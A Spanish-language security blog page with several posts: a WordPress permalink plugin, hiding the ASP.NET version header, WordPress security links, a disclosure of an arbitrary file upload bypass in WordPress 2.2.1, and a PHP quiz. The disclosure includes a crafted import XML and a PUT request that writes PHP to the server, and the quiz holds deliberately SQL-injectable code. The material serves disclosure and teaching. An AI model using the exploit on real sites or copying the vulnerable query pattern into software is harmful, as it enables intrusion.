Corrección de permalinks en WordPress

WordPress en la mayoría de los casos funciona bien para auto generar URLs de entradas con títulos en inglés, pero en nuestro idioma no lo hace tan bien. Por ejemplo, si algún blogger pone como título "Seguridad en WordPress: ¿podríamos vivir sin plugins?", la url generada será seguridad-en-wordpress-%c2%bfpodriamos-vivir-sin-plugins que es equivalente a seguridad-en-wordpress-¿podriamos-vivir-sin-plugins, lo cual naturalmente no se ve bien. 🙂

Para corregir este pequeño problema, preparé un pequeño plugin que elimina todos los caracteres especiales de los permalinks. Básicamente lo que hago es reemplazar la función sanitize_title_with_dashes por esta otra:

php:
<?php
// Copia de la función sanitize_title_with_dashes (wp-includes/formatting.php)
function custom_sanitize_title_with_dashes($title) {
        $title = strip_tags($title);
        // Preserve escaped octets.
        $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---1---', $title);
        // Remove percent signs that are not part of an octet.
        $title = str_replace('%', '', $title);
        // Restore octets.
        $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%1', $title);

        $title = remove_accents($title);
               
        if (function_exists('mb_strtolower') && seems_utf8($title)) {
                $title = mb_strtolower($title, 'UTF-8');
        } else {
                $title = strtolower($title);
        }
       
        $title = preg_replace('/&.+?;/', '', $title); // kill entities
        $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);

        $title = preg_replace('/[\s-]+/', '-', $title);
        $title = trim($title, '-');

        return $title;
}
?>

Este plugin todavía es -- y tal vez se quede en -- una versión alpha, si alguno está interesado en la funcionalidad, puede descargarlo o ver el código fuente.

Eliminar la cabecera X-AspNet-Version

Gracias a Mads Kristensen, me entero de una forma sencilla de eliminar la cabecera X-AspNet-Version que normalmente se envía al cliente.

code:
HTTP/1.1 200 OK
Date: Mon, 02 Jul 2007 23:02:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=f31vuhudwugmjje511e3szuy; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 7391

Para evitar este comportamiento, hay que poner en false el valor del atributo enableVersionHeader del elemento httpRuntime:

xml:
<?xml version="1.0"?>
<configuration>
    <system.web>
      <httpRuntime enableVersionHeader="false"/>
    </system.web>
</configuration>

No entiendo el motivo de que enableVersionHeader esté habilitado por omisión, sabiendo que es mejor ocultar las versiones del software que se usa.

Seguridad en WordPress

Un par de enlaces relacionados a los problemas de seguridad de WordPress:

  • Existe una propuesta para cambiar la forma en que se interactúa con la base de datos, esto es, utilizar una especie de consultas parametrizadas basadas en sprintf con el fin de evitar el gran número de problemas de SQL Injection que existe con el esquema actual, que no es otra cosa que una implementación propia de magic_quotes.
  • Entrevista a Steffan Esser sobre el estado de la seguridad de WordPress.

WordPress: Arbitrary File Upload – Parte 2

Como había comentado en la primera parte, la versión 2.2.1 de WordPress sólo arregla parte del problema reportado, esto se debe a que el parche utilizado sólo evita que se añada o actualice el valor de _wp_attached_file en la edición de entradas y páginas (ver la función add_meta en wp-admin/admin-functions.php).

Sin embargo, si esta vez utilizamos la funcionalidad para importar entradas desde otro blog con WordPress, podemos ingresar valores arbitrarios para _wp_attached_file. Por ejemplo el siguiente archivo XML está especialmente preparado para hacer eso:

xml:
<rss>
<channel>
        <item>
                <title>Exploit</title>
                <link>http://localhost/wp/?attachment_id=49</link>
                <pubDate>Sun, 24 Jun 2007 03:23:06 +0000</pubDate>
                <dc:creator>admin</dc:creator>
                <wp:post_id>49</wp:post_id>
                <wp:post_name>exploit</wp:post_name>
                <wp:status>inherit</wp:status>
                <wp:post_type>attachment</wp:post_type>
                <wp:postmeta>
                        <wp:meta_key>_wp_attached_file</wp:meta_key>
                        <wp:meta_value>/home/vulnerable.com/public_html/wp-content/uploads/test.php</wp:meta_value>
                </wp:postmeta>
                <wp:postmeta>
                        <wp:meta_key>_wp_attachment_metadata</wp:meta_key>
                        <wp:meta_value>a:0:{}</wp:meta_value>
                </wp:postmeta>
        </item>
</channel>
</rss>

Una vez que se haya importado esa entrada, el proceso para sobrescribir el archivo es el mismo que en el anterior caso:

code:
PUT /wp/wp-app.php?action=/attachment/file/49 HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Se agregó otro parche para intentar solucionar este problema en wp-app.php, el cual valida el archivo que se va a leer (función get_file) o sobreescribir (función put_file).

PHP: Uso adecuado de parse_str

La siguiente porción de código es una práctica muy extendida en WordPress, sirve para que las funciones puedan tener un buen número de parámetros opcionales sin que el código sea visualmente feo:

php:
<?php
/* Funciones de WordPress */
function stripslashes_deep($value) {
         $value = is_array($value) ?
                 array_map('stripslashes_deep', $value) :
                 stripslashes($value);

         return $value;
}
function wp_parse_str( $string, &$array ) {
        parse_str( $string, $array );
        if ( get_magic_quotes_gpc() )
                $array = stripslashes_deep( $array );
        return $array;
}
/* Fin */

function get_posts( $args = '' ) {
        $defaults = array(
                'limit' => 5,
                'post_type' => ''
        );
        $args = wp_parse_str($args, $defaults);
       
        extract($args, EXTR_SKIP);
       
        $where = '';
        if ( !empty($post_type) )
                $where = "WHERE post_type = '$post_type'";
       
        $sql = "SELECT * FROM posts $where LIMIT $limit";
        // ejecutar la consulta en una base de datos MySQL
        echo htmlspecialchars($sql);
}

$limit = empty($_GET['limit']) ? 5 : (int) $_GET['limit'];

if (get_magic_quotes_gpc())
        $_GET['type'] = stripslashes($_GET['type']);
// Se usa addslashes sólo para el ejemplo.
// $type = mysql_real_escape_string($_GET['type']);
$type = addslashes($_GET['type']);
get_posts("limit=$limit&post_type=$type");
?>

Sobre el ejemplo mostrado:

  1. ¿Tiene algún problema de seguridad?
  2. ¿Qué pasa si cambiamos la línea resaltada por esta otra, tiene algún problema de seguridad?
    php:
    $where = "WHERE post_type = '". addslashes($post_type) . "'";

Para los interesados en este pequeño quiz, subí una página en la que pueden realizar sus pruebas.